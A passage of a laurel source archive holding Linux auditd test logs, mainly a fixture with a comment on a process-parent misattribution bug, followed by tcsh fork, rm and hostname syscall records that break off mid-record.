sgid=0 fsgid=0 tty=(none) ses=15589 comm="(systemd)" exe="/usr/lib/systemd/systemd" subj=system_u:system_r:init_t:s0 key=(null) type=EOE msg=audit(1678282381.452:102337): type=PROCTITLE msg=audit(1678282320.958:102262): proctitle=536f6d6552616e646f6d50726f63657373 type=SYSCALL msg=audit(1678282320.958:102262): arch=c000003e syscall=1 success=yes exit=5 a0=3 a1=7ffd9f4453e0 a2=5 a3=0 items=0 ppid=8750 pid=3483623 auid=34025 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=15584 comm="sshd" exe="/bin/sshd" subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 key=(null) type=EOE msg=audit(1678282320.958:102262): type=PROCTITLE msg=audit(1678283440.683:225): proctitle=536f6d6552616e646f6d50726f63657373 type=PATH msg=audit(1678283440.683:225): item=0 name="/proc/2414/root/usr/bin/su" inode=156161 dev=fd:00 mode=0104755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:su_exec_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 type=SYSCALL msg=audit(1678283440.683:225): arch=c000003e syscall=4 success=yes exit=0 a0=7edd0caa2e7e0 a1=7345b64adba0 a2=7ff9874adba0 a3=feefeffefefefeff items=1 ppid=816 pid=818 auid=4292467295 uid=502 gid=502 euid=502 suid=502 fsuid=502 egid=502 sgid=502 fsgid=502 tty=(none) ses=4296967295 comm="cat" exe="/usr/bin/cat" subj=system_u:system_r:system_t:s0 key=(null) type=EOE msg=audit(1678283440.683:225):laurel-0.5.6/src/testdata/shell-proc-trace-confusion.txt000064400000000000000000000717301046102023000214360ustar 00000000000000# Problem: # Event 1697091526.357:2638035 refers an execve("id", …) call # performed by tcsh which was started directlyy before. However, # Laurel has enriched ppid=2655 to: # # { # "EVENT_ID": "1697091525.582:2588684", # "comm": "rm", # "exe": "/usr/bin/rm", # "ppid": 2643 # } # # Note: In the real log, the observed "rm" happened about 10min # beforee "id", but the process entry for "rm" was not expired before # "id" was executed. For testing, the message ID has been edited so it # is not cleaned up by the expire mechanism. # # Also, other, unrelated entries have been edited out. type=SYSCALL msg=audit(1697091525.582:2588684): arch=c000003e syscall=59 success="yes" exit=0 a0=2479518 a1=247ffc8 a2=2480e00 a3=fc2c9fc5 items=2 ppid=2643 pid=2655 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty="(none)" ses=4294967295 comm="rm" exe="/usr/bin/rm" key=(null) type=EXECVE msg=audit(1697091525.582:2588684): argc=5 a0="rm" a1="-f" a2="/tmp/2643A1" a3="/tmp/2643A2" a4="/tmp/2643XX" type=CWD msg=audit(1697091525.582:2588684): cwd="/opt/REDACTED" type=PATH msg=audit(1697091525.582:2588684): item=0 name="/bin/rm" inode=1233 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=PATH msg=audit(1697091525.582:2588684): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=137909 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=EOE msg=audit(1697091525.582:2588684): type=SYSCALL msg=audit(1697091526.189:2637841): arch=c000003e syscall=59 success="yes" exit=0 a0=2b3be35 a1=7ffcc496e3a0 a2=2b53050 a3=fc2c9fc5 items=2 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key=(null) type=EXECVE msg=audit(1697091526.189:2637841): argc=3 a0="-csh" a1="-c" a2="/tmp/REDACTED.csh" type=CWD msg=audit(1697091526.189:2637841): cwd="/home/redacted/" type=PATH msg=audit(1697091526.189:2637841): item=0 name="/bin/csh" inode=144740 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=PATH msg=audit(1697091526.189:2637841): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=137909 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=EOE msg=audit(1697091526.189:2637841): type=SYSCALL msg=audit(1697091526.193:2637845): arch=c000003e syscall=56 success="yes" exit=2549 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.193:2637845): type=SYSCALL msg=audit(1697091526.193:2637853): arch=c000003e syscall=56 success="yes" exit=2552 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.193:2637853): type=SYSCALL msg=audit(1697091526.193:2637855): arch=c000003e syscall=56 success="yes" exit=2555 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.193:2637855): type=SYSCALL msg=audit(1697091526.201:2637859): arch=c000003e syscall=56 success="yes" exit=2556 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.201:2637859): type=SYSCALL msg=audit(1697091526.209:2637862): arch=c000003e syscall=56 success="yes" exit=2557 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.209:2637862): type=SYSCALL msg=audit(1697091526.213:2637866): arch=c000003e syscall=56 success="yes" exit=2559 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.213:2637866): type=SYSCALL msg=audit(1697091526.217:2637870): arch=c000003e syscall=56 success="yes" exit=2561 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.217:2637870): type=SYSCALL msg=audit(1697091526.229:2637874): arch=c000003e syscall=56 success="yes" exit=2564 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.229:2637874): type=SYSCALL msg=audit(1697091526.245:2637879): arch=c000003e syscall=56 success="yes" exit=2566 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.245:2637879): type=SYSCALL msg=audit(1697091526.249:2637885): arch=c000003e syscall=56 success="yes" exit=2571 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.249:2637885): type=SYSCALL msg=audit(1697091526.249:2637888): arch=c000003e syscall=56 success="yes" exit=2573 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.249:2637888): type=SYSCALL msg=audit(1697091526.249:2637891): arch=c000003e syscall=56 success="yes" exit=2574 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.249:2637891): type=SYSCALL msg=audit(1697091526.253:2637894): arch=c000003e syscall=56 success="yes" exit=2576 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.253:2637894): type=SYSCALL msg=audit(1697091526.269:2637907): arch=c000003e syscall=56 success="yes" exit=2582 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.269:2637907): type=SYSCALL msg=audit(1697091526.269:2637909): arch=c000003e syscall=56 success="yes" exit=2583 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.269:2637909): type=SYSCALL msg=audit(1697091526.273:2637911): arch=c000003e syscall=56 success="yes" exit=2584 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.273:2637911): type=SYSCALL msg=audit(1697091526.273:2637913): arch=c000003e syscall=56 success="yes" exit=2585 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.273:2637913): type=SYSCALL msg=audit(1697091526.273:2637915): arch=c000003e syscall=56 success="yes" exit=2586 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.273:2637915): type=SYSCALL msg=audit(1697091526.277:2637917): arch=c000003e syscall=56 success="yes" exit=2587 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.277:2637917): type=SYSCALL msg=audit(1697091526.277:2637919): arch=c000003e syscall=56 success="yes" exit=2588 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.277:2637919): type=SYSCALL msg=audit(1697091526.281:2637921): arch=c000003e syscall=56 success="yes" exit=2589 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.281:2637921): type=SYSCALL msg=audit(1697091526.281:2637922): arch=c000003e syscall=56 success="yes" exit=2590 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.281:2637922): type=SYSCALL msg=audit(1697091526.281:2637924): arch=c000003e syscall=56 success="yes" exit=2591 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.281:2637924): type=SYSCALL msg=audit(1697091526.285:2637926): arch=c000003e syscall=56 success="yes" exit=2592 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.285:2637926): type=SYSCALL msg=audit(1697091526.285:2637928): arch=c000003e syscall=56 success="yes" exit=2593 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.285:2637928): type=SYSCALL msg=audit(1697091526.289:2637930): arch=c000003e syscall=56 success="yes" exit=2594 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.289:2637930): type=SYSCALL msg=audit(1697091526.289:2637932): arch=c000003e syscall=56 success="yes" exit=2597 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.289:2637932): type=SYSCALL msg=audit(1697091526.293:2637936): arch=c000003e syscall=56 success="yes" exit=2598 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.293:2637936): type=SYSCALL msg=audit(1697091526.293:2637938): arch=c000003e syscall=56 success="yes" exit=2599 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.293:2637938): type=SYSCALL msg=audit(1697091526.297:2637940): arch=c000003e syscall=56 success="yes" exit=2600 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.297:2637940): type=SYSCALL msg=audit(1697091526.297:2637947): arch=c000003e syscall=56 success="yes" exit=2604 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.297:2637947): type=SYSCALL msg=audit(1697091526.301:2637955): arch=c000003e syscall=56 success="yes" exit=2608 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.301:2637955): type=SYSCALL msg=audit(1697091526.309:2637962): arch=c000003e syscall=56 success="yes" exit=2612 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.309:2637962): type=SYSCALL msg=audit(1697091526.309:2637965): arch=c000003e syscall=56 success="yes" exit=2613 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.309:2637965): type=SYSCALL msg=audit(1697091526.313:2637968): arch=c000003e syscall=56 success="yes" exit=2615 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.313:2637968): type=SYSCALL msg=audit(1697091526.313:2637977): arch=c000003e syscall=56 success="yes" exit=2622 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.313:2637977): type=SYSCALL msg=audit(1697091526.317:2637980): arch=c000003e syscall=56 success="yes" exit=2623 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.317:2637980): type=SYSCALL msg=audit(1697091526.317:2637982): arch=c000003e syscall=56 success="yes" exit=2624 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.317:2637982): type=SYSCALL msg=audit(1697091526.321:2637984): arch=c000003e syscall=56 success="yes" exit=2625 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.321:2637984): type=SYSCALL msg=audit(1697091526.321:2637986): arch=c000003e syscall=56 success="yes" exit=2626 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.321:2637986): type=SYSCALL msg=audit(1697091526.325:2637988): arch=c000003e syscall=56 success="yes" exit=2627 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.325:2637988): type=SYSCALL msg=audit(1697091526.329:2637990): arch=c000003e syscall=56 success="yes" exit=2628 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.329:2637990): type=SYSCALL msg=audit(1697091526.329:2637992): arch=c000003e syscall=56 success="yes" exit=2629 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.329:2637992): type=SYSCALL msg=audit(1697091526.333:2637995): arch=c000003e syscall=56 success="yes" exit=2631 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.333:2637995): type=SYSCALL msg=audit(1697091526.333:2638000): arch=c000003e syscall=56 success="yes" exit=2636 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.333:2638000): type=SYSCALL msg=audit(1697091526.337:2638002): arch=c000003e syscall=56 success="yes" exit=2637 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.337:2638002): type=SYSCALL msg=audit(1697091526.337:2638004): arch=c000003e syscall=56 success="yes" exit=2638 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.337:2638004): type=SYSCALL msg=audit(1697091526.337:2638006): arch=c000003e syscall=56 success="yes" exit=2639 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.337:2638006): type=SYSCALL msg=audit(1697091526.341:2638008): arch=c000003e syscall=56 success="yes" exit=2640 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.341:2638008): type=SYSCALL msg=audit(1697091526.341:2638010): arch=c000003e syscall=56 success="yes" exit=2641 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.341:2638010): type=SYSCALL msg=audit(1697091526.341:2638011): arch=c000003e syscall=56 success="yes" exit=2642 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.341:2638011): type=SYSCALL msg=audit(1697091526.345:2638013): arch=c000003e syscall=56 success="yes" exit=2643 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.345:2638013): type=SYSCALL msg=audit(1697091526.345:2638014): arch=c000003e syscall=59 success="yes" exit=0 a0=964920 a1=99c520 a2=9b46f0 a3=f663360 items=2 ppid=2542 pid=2643 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="hostname" exe="/bin/hostname" key=(null) type=EXECVE msg=audit(1697091526.345:2638014): argc=1 a0="hostname" type=CWD msg=audit(1697091526.345:2638014): cwd="/home/redacted/" type=PATH msg=audit(1697091526.345:2638014): item=0 name="/bin/hostname" inode=131095 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=PATH msg=audit(1697091526.345:2638014): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=137909 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=EOE msg=audit(1697091526.345:2638014): type=SYSCALL msg=audit(1697091526.345:2638015): arch=c000003e syscall=56 success="yes" exit=2644 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.345:2638015): type=SYSCALL msg=audit(1697091526.345:2638017): arch=c000003e syscall=56 success="yes" exit=2645 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.345:2638017): type=SYSCALL msg=audit(1697091526.349:2638019): arch=c000003e syscall=56 success="yes" exit=2646 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.349:2638019): type=SYSCALL msg=audit(1697091526.349:2638021): arch=c000003e syscall=56 success="yes" exit=2647 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.349:2638021): type=SYSCALL msg=audit(1697091526.353:2638023): arch=c000003e syscall=56 success="yes" exit=2648 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.353:2638023): type=SYSCALL msg=audit(1697091526.353:2638025): arch=c000003e syscall=56 success="yes" exit=2649 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.353:2638025): type=SYSCALL msg=audit(1697091526.357:2638032): arch=c000003e syscall=56 success="yes" exit=2655 a0=1200011 a1=0 